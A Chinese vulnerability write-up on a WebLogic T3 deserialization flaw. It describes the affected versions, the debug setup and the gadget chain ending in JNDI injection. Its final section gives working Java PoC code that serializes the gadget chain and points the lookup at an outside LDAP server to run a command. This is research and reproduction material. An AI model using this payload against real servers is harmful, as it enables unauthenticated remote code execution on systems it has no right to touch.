简介
Oracle Fusion Middleware(组件:Core)的 Oracle WebLogic Server 产品中的漏洞。易于应用的漏洞答应未经身份考证的攻击者通过 T3 拜访网络来毁坏 Oracle WebLogic Server。胜利攻击此漏洞可引起对某些 Oracle WebLogic Server 可拜访数据的未经授权的更新、插入或删去拜访,以及引起 Oracle WebLogic Server 的部分回绝效力(部分 DOS)的未经授权的才能。
漏洞影响范围
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
环境建立
本次测验环境挑选12.2.1.3.0和jdk1.8.0_101
Weblogic 安装步骤不在说明自行百度。
环境搭在ubuntu虚拟机里,接下来拷一下weblogic源码,运用java -jar wljarbuilder.jar创立wlfullclient.jar放入到本地IDEA项目中。
远程调试weblogic,weblogic安装路径/user_projects/domains/base_domain/startWebLogic.cmd 文件中添加下面的命令。
set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
漏洞分析
调用链
javax.management.BadAttributeValueExpException.readObject()
weblogic.servlet.internal.session.SessionData.toString()
weblogic.servlet.internal.session.SessionData.isDebuggingSession()
weblogic.servlet.internal.session.SessionData.getAttribute()
weblogic.servlet.internal.session.SessionData.getAttributeInternal()
weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapObject()
weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapEJBObjects()
weblogic.ejb.container.internal.BusinessHandleImpl.getBusinessObject()
weblogic.ejb20.internal.HomeHandleImpl.getEJBHome()
javax.naming.Context.lookup()
漏洞原理刨析
javax.management.BadAttributeValueExpException.readObject()是反序列化入口。CVE-2020-2555漏洞也是使用javax.management.BadAttributeValueExpException.readObject()作为序列化的入口函数。熟悉CVE-2020-2555漏洞的同学可以知道javax.management.BadAttributeValueExpException.readObject()会调用目前函数的toString()函数。
跟进weblogic.servlet.internal.session.SessionData#toString()函数,会通过this.isValid()判断当前的seesion值是否有效,如果无效的直接返回HttpSession is invalid错误。如果有效的话会进入this.isDebuggingSession()。
isDebuggingSession会判断当前是不是在开发者模式,然后会调用getAttribute()函数。
getAttribute()函数中获取到的securityAttribute值是null,所以会进入 this.getAttributeInternal()函数。
getAttributeInternal()函数会判断当前类的attributes是否是空。如果不是空就会继续向下执行,我们这里可以看到程序这里会运行到AttributeWrapperUtils.unwrapObject()函数。
AttributeWrapperUtils.unwrapObject()函数,通过获取获取AttributeWrapper.getObject(),这里可以看到的AttributeWrapper的Object是BusinessHandleImpl类,AttributeWrapper的isEJBObjectWrapped值是true,所以程序会继续运行到unwrapEJBObjects()函数。
unwrapEJBObjects()函数判读unwrappedObject是否是HomeHandle、BusinessHandle、Handle,分别处理走不同的处理逻辑。这里的unwrappedObject是BusinessHandleImpl就是BusinessHandle实现类,所以就会调用BusinessHandle.getBusinessObject()函数。
BusinessHandle.getBusinessObject()函数判断businessObject值是不是空直接返回businessObject,如果businessObject是空并且primaryKey值是空就会进入到this.homeHandle.getEJBHome()函数。
homeHandle.getEJBHome()函数放眼看去特别熟悉,这个写法和Weblogic CVE-2020-2551 RCE的POC写法基本一致。ctx.lookup(this.jndiName)是jndi注入点,serverURL、jndiName都是可控参数。
漏洞复现
使用低JDK版本可以达到JNDI注入的效果,实现远程命令执行。
poc编写
// 构造HomeHandleImpl,sink点
HomeHandleImpl homeHandle = new HomeHandleImpl();
Field serverURLF = homeHandle.getClass().getDeclaredField("serverURL");
serverURLF.setAccessible(true);
serverURLF.set(homeHandle, "t3://192.168.177.160:7001/");
Properties props = new Properties();
Name name = new CompoundName("ldap://172.17.153.226:1389/Basic/Command/calc", props);
Field jndiNameF = homeHandle.getClass().getDeclaredField("jndiName");
jndiNameF.setAccessible(true);
jndiNameF.set(homeHandle, name);
// homeHandle设置到BusinessHandleImpl
BusinessHandleImpl businessHandle = new BusinessHandleImpl();
Field homeHandleF = businessHandle.getClass().getDeclaredField("homeHandle");
homeHandleF.setAccessible(true);
homeHandleF.set(businessHandle, homeHandle);
AttributeWrapper attributeWrapper = new AttributeWrapper(businessHandle);
attributeWrapper.setEJBObjectWrapped(true); //进入到unwrapEJBObjects函数
Map map = new ConcurrentHashMap<String, Object>();
map.put("wl_debug_session", attributeWrapper);
SessionData sessionData = new FileSessionData();
Field attributesF = sessionData.getClass().getSuperclass().getDeclaredField("attributes");
attributesF.setAccessible(true);
attributesF.set(sessionData, map); //封装好的map放到SessionData类中。
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, sessionData); //valobject 设置成SessionData类
serialize(badAttributeValueExpException);